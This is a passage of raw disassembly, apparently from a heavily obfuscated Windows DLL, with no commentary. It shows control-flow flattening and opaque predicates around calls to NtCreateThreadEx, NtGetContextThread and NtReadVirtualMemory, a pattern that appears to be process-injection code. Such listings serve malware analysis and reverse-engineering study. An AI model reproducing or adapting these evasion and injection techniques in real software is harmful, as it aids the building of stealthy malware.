cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
add ecx, 0xc8c1e818
add ecx, eax
sub ecx, 0xc8c1e818
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf4]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x16c], 0xc9a7abe
jmp 0x10007b8a
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
mov edx, ecx
sub edx, 0x2ba74f4a
sub edx, 1
add edx, 0x2ba74f4a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe9f55d7f
mov ecx, 0xe481da24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0xcb267498
jmp 0x10007b8a
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
mov edx, eax
add edx, 0x8e1e43e9
sub edx, 1
sub edx, 0x8e1e43e9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb20e4863
mov ecx, 0x17b4735b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x16c], 0xb06069e5
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0x2f841f5f
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0xb98f8993
jmp 0x10007b8a
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x16c], 0xdbedfe05
jmp 0x10007b8a
mov eax, dword [ebp - 0x144]
mov dword [eax], 0
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x16c], 0x3b41cb87
jmp 0x10007b8a
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov dword [eax], 0
mov dword [ebp - 0x16c], 0x6952836b
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0x4f1a7f9f
jmp 0x10007b8a
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x16c], 0x92d99a92
jmp 0x10007b8a
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x16c], 0xe15b377c
jmp 0x10007b8a
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x16c], 0x1f3b129e
jmp 0x10007b8a
mov ax, word [ebp - 0x3c]
movzx eax, ax
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x158]
mov edx, dword [eax]
mov eax, dword [ebp - 0x108]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x16c], 0x635a7141
jmp 0x10007b8a
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
add ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x16c], 0x9e3dcc96
jmp 0x10007b8a
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x16c], 0x19b5bca0
jmp 0x10007b8a
mov eax, dword [ebp - 0x158]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x16c], 0x17b4735b
jmp 0x10003d90